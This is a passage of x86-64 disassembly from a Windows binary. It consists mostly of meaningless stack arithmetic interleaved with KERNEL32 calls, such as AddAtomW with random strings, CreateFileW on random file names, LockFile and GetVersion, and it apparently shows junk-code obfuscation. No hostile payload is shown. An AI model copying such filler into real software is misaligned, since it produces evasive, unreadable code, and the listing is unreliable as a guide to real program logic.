mov dword [rsp + 0x7e64], eax
mov rax, qword [0x140363f38]
mov ecx, dword [rsp + 0x7114]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x15ce0]
mov dword [rcx], eax
mov eax, dword [rsp + 0xb390]
mov dword [rsp + 0xb3d4], eax
movzx eax, word [rsp + 0x1de8]
movzx ecx, word [rsp + 0x2b48]
and eax, ecx
mov rcx, qword [rsp + 0x14770]
mov word [rcx], ax
lea rax, [rsp + 0x6f5]
mov qword [rsp + 0x16dc0], rax
lea rcx, [rsp + 0x42018]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x132b8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x4e3]
add eax, ecx
mov byte [rsp + 0x6da], al
lea rax, [rsp + 0x2b4c]
mov qword [rsp + 0x16dc8], rax
mov eax, dword [rsp + 0x814c]
mov ecx, dword [0x140363ba4]
sub ecx, eax
mov eax, ecx
mov dword [0x14035cce0], eax
mov dword [rsp + 0x20], 0x3253
mov r9d, 0x7b
mov r8d, 0x1e05
mov edx, 0x17e4
mov rcx, qword [rsp + 0x15ae8]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0xaf84], eax
lea rcx, str.5.JK3a5P_Oo
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2e94], ax
mov rax, qword [rsp + 0x136f0]
mov ecx, dword [rsp + 0xb2d0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xabb0], eax
mov rax, qword [rsp + 0x153f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2a44]
xor eax, ecx
mov word [rsp + 0x2d38], ax
movzx eax, byte [rsp + 0x22a]
mov rcx, qword [rsp + 0x15d20]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x4e4], al
mov eax, dword [rsp + 0xb004]
mov rcx, qword [rsp + 0x14238]
mov qword [rsp + 0x16dd0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x16dd0]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x16818]
mov dword [rcx], eax
mov eax, dword [rsp + 0xb178]
mov dword [rsp + 0xb3d8], eax
mov eax, dword [rsp + 0xab18]
mov ecx, dword [rsp + 0xac18]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x15e78]
mov dword [rcx], eax
mov eax, dword [rsp + 0xaf3c]
mov ecx, dword [rsp + 0xad1c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xb1c0], eax
mov rcx, qword [rsp + 0x15488]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movzx eax, byte [rsp + 0x211]
mov byte [rsp + 0x76d], al
mov rax, qword [rsp + 0x14c28]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14360]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x140362fd4], ax
mov rax, qword [rsp + 0x13738]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8404]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x139c0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x16098]
mov eax, dword [rax]
mov ecx, dword [0x140364190]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa2c8], eax
mov rax, qword [rsp + 0x16148]
mov ecx, dword [rsp + 0xb318]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x16c48]
mov dword [rcx], eax
mov rax, qword [rsp + 0x162c8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6554]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x162d0]
mov dword [rcx], eax
lea rcx, [rsp + 0x42048]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov eax, dword [rsp + 0xb3a0]
mov dword [rsp + 0xb3dc], eax
mov dword [rsp + 0x20], 0x34f0
mov r9d, 0xfd5
mov r8d, 0x330f
mov edx, 0x30
mov rcx, qword [rsp + 0x13968]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0xac28], eax
mov rax, qword [rsp + 0x15c98]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x166c8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x14880]
mov word [rcx], ax
mov rax, qword [rsp + 0x14490]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x13d78]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x4e0], al
mov rax, qword [rsp + 0x14ac8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14b10]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2db0], ax
mov rax, qword [rsp + 0x15ec8]
movzx eax, byte [rax]
mov byte [0x14035e5aa], al
mov rax, qword [rsp + 0x13710]
mov ecx, dword [rsp + 0xb06c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6288], eax
movzx ecx, word [rsp + 0x2d94]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2d00], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 4
mov edx, 0x80000000
lea rcx, str.QBLYYIYBHhtNN9CcJua7W
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x16dd8], rax
mov rax, qword [rsp + 0x14c20]
mov eax, dword [rax]
mov dword [rsp + 0xb3e0], eax
movzx eax, byte [rsp + 0x469]
movzx ecx, byte [rsp + 0x1d6]
xor eax, ecx
mov rcx, qword [rsp + 0x15710]
mov byte [rcx], al
lea rax, [rsp + 0x2cc4]
mov qword [rsp + 0x16de0], rax
mov eax, dword [rsp + 0x8374]
movzx ecx, al
mov eax, dword [rsp + 0x81ac]
sar eax, cl
mov dword [rsp + 0x920c], eax
lea rax, [rsp + 0x9e6c]
mov qword [rsp + 0x16de8], rax
mov eax, dword [rsp + 0xb1f0]
movzx ecx, al
mov eax, dword [rsp + 0x999c]
shl eax, cl
mov rcx, qword [rsp + 0x167f8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x140b8]
mov rcx, qword [rsp + 0x14e30]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xb258], eax
mov rax, qword [rsp + 0x16088]
movzx eax, word [rax]
movzx ecx, word [0x14035cc54]
and eax, ecx
mov word [0x140362c1c], ax
mov rax, qword [rsp + 0x139b0]
movzx eax, byte [rax]
mov byte [rsp + 0x76e], al
mov rax, qword [rsp + 0x15550]
mov rcx, qword [rsp + 0x13470]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x15248]
mov dword [rcx], eax
lea rax, [rsp + 0x6ebc]
mov qword [rsp + 0x16df0], rax
mov rax, qword [0x140363de8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2d74]
add eax, ecx
mov rcx, qword [rsp + 0x14640]
mov word [rcx], ax
mov rax, qword [rsp + 0x167a8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x16570]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x6d8], al
movzx eax, byte [rsp + 0x469]
movzx ecx, byte [rsp + 0x6c9]
and eax, ecx
mov byte [rsp + 0x631], al
mov rax, qword [rsp + 0x143e0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2c74]
sub eax, ecx
mov rcx, qword [rsp + 0x15b08]
mov word [rcx], ax
mov eax, dword [rsp + 0x9134]
mov dword [rsp + 0xb3e4], eax
lea rax, [rsp + 0x8604]
mov qword [0x140364258], rax
mov eax, dword [rsp + 0x9a80]
mov ecx, dword [rsp + 0x85c0]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xaf54], eax
mov eax, dword [rsp + 0xad3c]
mov ecx, dword [rsp + 0xa71c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14e50]
mov dword [rcx], eax
lea rax, [rsp + 0xa920]
mov qword [rsp + 0x16df8], rax
mov rax, qword [rsp + 0x156e8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x134f0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x14a70]
mov byte [rcx], al
mov rax, qword [rsp + 0x14e68]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x16d68]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2238], ax
mov rax, qword [rsp + 0x16a78]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x7970]
sar eax, cl
mov dword [rsp + 0xaf7c], eax
lea rax, [rsp + 0x70b8]
mov qword [rsp + 0x16e00], rax
mov rax, qword [rsp + 0x15f38]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa984]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xb300], eax
mov eax, dword [rsp + 0x628c]
mov rcx, qword [0x140363ac8]
mov qword [rsp + 0x16e08], rcx
movzx ecx, al
mov rax, qword [rsp + 0x16e08]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [0x140363f80]
mov dword [rcx], eax
mov rax, qword [rsp + 0x156f8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x765]
or eax, ecx
mov byte [rsp + 0x68e], al
movzx eax, word [0x14035ccb4]
mov word [rsp + 0x2ea4], ax
movsx eax, byte [rsp + 0x4c5]
mov rcx, qword [rsp + 0x13ef0]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x6b6], al
mov rax, qword [rsp + 0x13b88]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x16ab8]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1d3c], ax
mov eax, dword [rsp + 0xaa44]
mov ecx, dword [rsp + 0xa758]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa8d0], eax
lea rdx, [rsp + 0x45d20]
mov rcx, qword [rsp + 0x16730]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xa8a8], eax
mov rax, qword [rsp + 0x13680]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xb23c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa914], eax
lea rax, [rsp + 0x2e5c]
mov qword [rsp + 0x16e10], rax
mov rax, qword [rsp + 0x15eb8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x412]
add eax, ecx
mov byte [rsp + 0x741], al
mov rax, qword [rsp + 0x15150]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7078]
add ecx, eax
mov eax, ecx
mov dword [0x14035cce4], eax
lea rax, [rsp + 0xa928]
mov qword [rsp + 0x16e18], rax
mov eax, dword [rsp + 0xb128]
mov ecx, dword [rsp + 0xac84]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x16c38]
mov dword [rcx], eax
mov rax, qword [rsp + 0x159a0]
mov ecx, dword [rsp + 0x67a4]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x16680]
mov dword [rcx], eax
lea rax, [rsp + 0x11c0]
mov qword [rsp + 0x16e20], rax
mov rax, qword [rsp + 0x16a60]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x148e0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x15620]
mov byte [rcx], al
mov rax, qword [rsp + 0x14ce8]
mov eax, dword [rax]
mov dword [rsp + 0xb3e8], eax
mov eax, dword [rsp + 0x8ab0]
mov rcx, qword [rsp + 0x14138]
mov qword [rsp + 0x16e28], rcx
movzx ecx, al
mov rax, qword [rsp + 0x16e28]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x9764], eax
mov rax, qword [rsp + 0x14f28]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x8994]
shl eax, cl
mov dword [rsp + 0xaeac], eax
mov rax, qword [rsp + 0x15e60]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6ca0]
xor ecx, eax
mov eax, ecx
mov rcx, qword [0x140363e18]
mov dword [rcx], eax
lea rax, [0x14036422c]
mov qword [rsp + 0x16e30], rax
mov rax, qword [rsp + 0x136b8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x92]
and eax, ecx
mov rcx, qword [rsp + 0x161d8]
mov byte [rcx], al
lea rax, [rsp + 0x2e0c]
mov qword [rsp + 0x16e38], rax
mov rax, qword [rsp + 0x16458]
movzx eax, word [rax]
mov rcx, qword [0x140363b20]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x142d8]
mov word [rcx], ax
lea rax, [rsp + 0x6f5]
mov qword [rsp + 0x16e40], rax
mov rax, qword [rsp + 0x13908]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8024]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x7a10], eax
mov rax, qword [rsp + 0x16d90]
mov rcx, qword [rsp + 0x139c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x73a0], eax
lea rax, [rsp + 0x12b8]
mov qword [rsp + 0x16e48], rax
mov rax, qword [rsp + 0x13888]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x740]
and eax, ecx
mov rcx, qword [0x140364208]
mov byte [rcx], al
mov rax, qword [rsp + 0x13e68]
mov rcx, qword [rsp + 0x13248]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x15530]
mov dword [rcx], eax
lea rax, [rsp + 0x6ba8]
mov qword [rsp + 0x16e50], rax
mov rax, qword [rsp + 0x14200]
mov ecx, dword [rsp + 0x6cd0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xad2c], eax
mov rax, qword [rsp + 0x15c00]
mov ecx, dword [rsp + 0x7ea0]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x15648]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14f68]
movzx eax, word [rax]
mov word [rsp + 0x2ea8], ax
movzx eax, byte [rsp + 0x6e9]
mov rcx, qword [rsp + 0x14d88]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x14ad8]
mov byte [rcx], al
lea rax, [0x14035ccd0]
mov qword [rsp + 0x16e58], rax
mov eax, dword [rsp + 0xadf4]
mov ecx, dword [rsp + 0x9370]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa8fc], eax
mov rax, qword [rsp + 0x13a98]
movzx eax, word [rax]
mov word [0x14036333c], ax
movsx eax, byte [rsp + 0x734]
mov rcx, qword [rsp + 0x143b8]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x147e0]
mov byte [rcx], al
lea rcx, [0x14033f6bc]
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2eac], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushViewOfFile]
movzx eax, byte [rsp + 0x740]
movzx ecx, byte [rsp + 0x6b9]
sar eax, cl
mov byte [rsp + 0x58e], al
movzx ecx, word [rsp + 0x2cc0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2a6c], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa788], eax
mov rax, qword [rsp + 0x14330]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14b10]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x167b8]
mov word [rcx], ax
lea rax, [rsp + 0xada0]
mov qword [rsp + 0x16e60], rax
mov eax, dword [rsp + 0x7364]
mov rcx, qword [rsp + 0x13ac8]
mov qword [rsp + 0x16e68], rcx
movzx ecx, al
mov rax, qword [rsp + 0x16e68]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x13ca0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x16118]
mov rcx, qword [0x140363f38]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x14e10]
mov dword [rcx], eax
mov eax, dword [rsp + 0x8904]
mov dword [rsp + 0xb3ec], eax
mov rax, qword [rsp + 0x15058]
mov ecx, dword [rsp + 0xb044]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x13418]
mov dword [rcx], eax
lea rax, [rsp + 0x6e5]
mov qword [rsp + 0x16e70], rax
mov rax, qword [rsp + 0x15cb8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x152a8]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x14035cbe4], ax
mov rax, qword [rsp + 0x16540]
mov rcx, qword [rsp + 0x16550]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xabf8], eax
lea rax, [rsp + 0x9d18]
mov qword [rsp + 0x16e78], rax
mov eax, dword [rsp + 0xaae0]
mov ecx, dword [rsp + 0x6554]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x16268]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14508]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9f74]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x69b0], eax
lea rax, [0x14035e55c]
mov qword [rsp + 0x16e80], rax
mov rax, qword [rsp + 0x153f0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x15c10]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2d84], ax
mov rax, qword [rsp + 0x15e08]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x13560]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x26e], al
mov rax, qword [rsp + 0x163f8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2c6c]
add eax, ecx
mov rcx, qword [rsp + 0x15f78]
mov word [rcx], ax
mov eax, dword [rsp + 0xa26c]
mov dword [0x140364260], eax
mov rax, qword [rsp + 0x13c68]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9820]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13380]
mov dword [rcx], eax
lea rax, [0x14036321c]
mov qword [rsp + 0x16e88], rax
movzx eax, byte [rsp + 0x763]
mov rcx, qword [rsp + 0x153b8]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x145a8]
mov byte [rcx], al
mov eax, dword [rsp + 0x9f08]
mov dword [rsp + 0xb3f0], eax
mov rax, qword [rsp + 0x13938]
mov ecx, dword [0x14035ccd4]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x14bd0]
mov dword [rcx], eax
lea rcx, str.1x9HsZ.VK16RrL3u5
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2eb0], ax
mov eax, dword [rsp + 0xaf3c]
movzx ecx, al
mov eax, dword [rsp + 0xab1c]
sar eax, cl
mov dword [rsp + 0xa8e8], eax
lea rax, [rsp + 0x91c0]
mov qword [rsp + 0x16e90], rax
mov rax, qword [rsp + 0x169e0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x676]
shl eax, cl
mov rcx, qword [rsp + 0x13670]
mov byte [rcx], al
mov rax, qword [rsp + 0x16d28]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2cf8]
xor eax, ecx
mov word [0x14035cc90], ax
lea rax, [rsp + 0xae94]
mov qword [rsp + 0x16e98], rax
mov rax, qword [0x140364210]
mov rcx, qword [rsp + 0x15ff0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xaf64], eax
mov rax, qword [rsp + 0x13b20]
mov eax, dword [rax]
mov dword [rsp + 0xb3f4], eax
mov eax, dword [rsp + 0xaec8]
mov ecx, dword [rsp + 0x73a0]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14df8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13e58]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xaf20]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xaf98], eax
mov rax, qword [rsp + 0x16cc0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x15db0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x321], al
movsx eax, word [rsp + 0x2aec]
mov rcx, qword [0x140363de8]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2e04], ax
lea rax, [rsp + 0x731]
mov qword [rsp + 0x16ea0], rax
mov rax, qword [rsp + 0x15378]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x16be8]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x14035cce8], ax
mov rax, qword [rsp + 0x14210]
mov ecx, dword [rsp + 0xa758]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x145c0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x16048]
mov ecx, dword [rsp + 0x7dfc]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x16ca0]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xaeb0], eax
movzx eax, word [rsp + 0x2af0]
mov word [rsp + 0x2eb4], ax
mov rax, qword [rsp + 0x13368]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x149a8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x11c], al
lea rax, [rsp + 0xad1c]
mov qword [rsp + 0x16ea8], rax
mov eax, dword [rsp + 0xb0b4]
mov ecx, dword [rsp + 0xa808]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x16db8]
mov dword [rcx], eax
mov eax, dword [rsp + 0xad9c]
mov rcx, qword [0x140363998]
mov qword [rsp + 0x16eb0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x16eb0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x6a98], eax
mov eax, dword [rsp + 0xa9c0]
mov ecx, dword [rsp + 0xae1c]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x8120], eax
lea rax, [rsp + 0x733]
mov qword [0x140364268], rax
movzx eax, word [0x140362cdc]
mov rcx, qword [rsp + 0x14530]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2ba4], ax
lea rax, [rsp + 0xb3e0]
mov qword [rsp + 0x16eb8], rax
mov rax, qword [rsp + 0x14380]
mov ecx, dword [rsp + 0xad00]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x6d14], eax
mov rax, qword [rsp + 0x14f48]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x15b58]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x645], al
mov rax, qword [rsp + 0x14390]
movzx eax, word [rax]
mov word [rsp + 0x2eb8], ax
movzx eax, byte [rsp + 0x71e]
movzx ecx, byte [0x1403535a2]
sub eax, ecx
mov rcx, qword [rsp + 0x13670]
mov byte [rcx], al
lea rax, [rsp + 0x2dc0]
mov qword [rsp + 0x16ec0], rax
mov rax, qword [rsp + 0x15c00]
mov rcx, qword [rsp + 0x14958]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x13e70]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14238]
mov rcx, qword [0x1403639d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [0x140363e00]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa7b4]
mov dword [rsp + 0xb3f8], eax
mov eax, dword [rsp + 0x7480]
mov ecx, dword [rsp + 0xaac8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x148d8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x15490]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xad90]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x15668]
mov dword [rcx], eax
movzx eax, word [rsp + 0x2c7c]
movzx ecx, word [rsp + 0x2518]
add eax, ecx
mov word [rsp + 0x2588], ax
mov rax, qword [rsp + 0x134b8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14230]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x353], al
movzx ecx, word [rsp + 0x2b3c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2c20], ax
lea rax, [0x140363a64]
mov qword [rsp + 0x16ec8], rax
mov rax, qword [rsp + 0x140e0]
mov ecx, dword [rsp + 0x70b8]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xad3c], eax
mov eax, dword [0x140363a64]
mov ecx, dword [rsp + 0x717c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x16928]
mov dword [rcx], eax
mov eax, dword [rsp + 0xb220]
mov rcx, qword [rsp + 0x15ea0]
mov qword [rsp + 0x16ed0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x16ed0]
mov eax, dword [rax]
sar eax, cl
mov dword [0x14035cc8c], eax
movzx eax, byte [rsp + 0x6cf]
mov byte [rsp + 0x76f], al
mov rax, qword [rsp + 0x165d0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x126c]
shl eax, cl
mov word [rsp + 0x1a38], ax
lea rax, [rsp + 0x1770]
mov qword [rsp + 0x16ed8], rax
movsx eax, byte [rsp + 0x288]
movsx ecx, byte [rsp + 0x719]
xor eax, ecx
mov byte [rsp + 0x238], al
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xb230], eax
mov rax, qword [0x140364020]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xb348]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xabfc], eax
lea rax, [rsp + 0xae6c]
mov qword [rsp + 0x16ee0], rax
movzx eax, byte [rsp + 0x6c4]
movzx ecx, byte [rsp + 0x6f7]
and eax, ecx
mov byte [rsp + 0x65d], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 2
mov edx, 0x80000000
lea rcx, str.1GsWqemQSK6Bksn
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x16ee8], rax
mov rax, qword [rsp + 0x135f8]
movzx eax, word [rax]
mov rcx, qword [0x140364018]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2938], ax
lea rax, [rsp + 0xb080]
mov qword [0x140364270], rax
mov rax, qword [rsp + 0x13760]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xaf68]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13b30]
mov dword [rcx], eax
lea rax, [0x140364190]
mov qword [rsp + 0x16ef0], rax
mov rax, qword [rsp + 0x14498]
mov ecx, dword [rsp + 0xb28c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13ba0]
mov dword [rcx], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalCompact]
movzx eax, byte [rsp + 0x1f4]
mov rcx, qword [rsp + 0x14840]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x13368]
mov byte [rcx], al
mov rax, qword [rsp + 0x151b0]
movzx eax, word [rax]
mov word [rsp + 0x2ebc], ax
mov rax, qword [rsp + 0x14350]
mov ecx, dword [rsp + 0x7c24]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6a98], eax
lea rax, [rsp + 0x95a0]
mov qword [rsp + 0x16ef8], rax
mov eax, dword [rsp + 0xaef0]
mov ecx, dword [rsp + 0xb0bc]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x8388], eax
mov eax, dword [rsp + 0xaa6c]
mov ecx, dword [rsp + 0xaa24]
sub ecx, eax
mov eax, ecx
mov rcx, qword [0x140363db0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13f50]
mov rcx, qword [rsp + 0x16508]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x139e8]
mov dword [rcx], eax
lea rcx, [rsp + 0x41da8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [0x140363b28]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2544]
add eax, ecx
mov word [rsp + 0x2000], ax
movsx eax, byte [rsp + 0x2ad]
mov rcx, qword [rsp + 0x132e8]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x768], al
lea rax, [rsp + 0x2cb0]
mov qword [rsp + 0x16f00], rax
movzx eax, byte [rsp + 0x6ed]
mov rcx, qword [rsp + 0x13b38]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x4e4], al
mov eax, dword [rsp + 0xa808]
mov rcx, qword [rsp + 0x14da0]
mov qword [rsp + 0x16f08], rcx
movzx ecx, al
mov rax, qword [rsp + 0x16f08]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x15dc0]
mov dword [rcx], eax
mov rax, qword [0x140363fe8]
mov eax, dword [rax]
mov dword [rsp + 0xb3fc], eax
xor r9d, r9d
lea r8, [rsp + 0x16620]
mov rdx, qword [rsp + 0x16f10]
mov rcx, qword [rsp + 0x13f10]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xaef4], eax
mov r9d, 0x1e63
xor r8d, r8d
lea rdx, [rsp + 0x15680]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0xae7c], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa9cc], eax
movzx ecx, word [rsp + 0x2cd0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2ec0], ax
movzx eax, byte [rsp + 0x5fb]
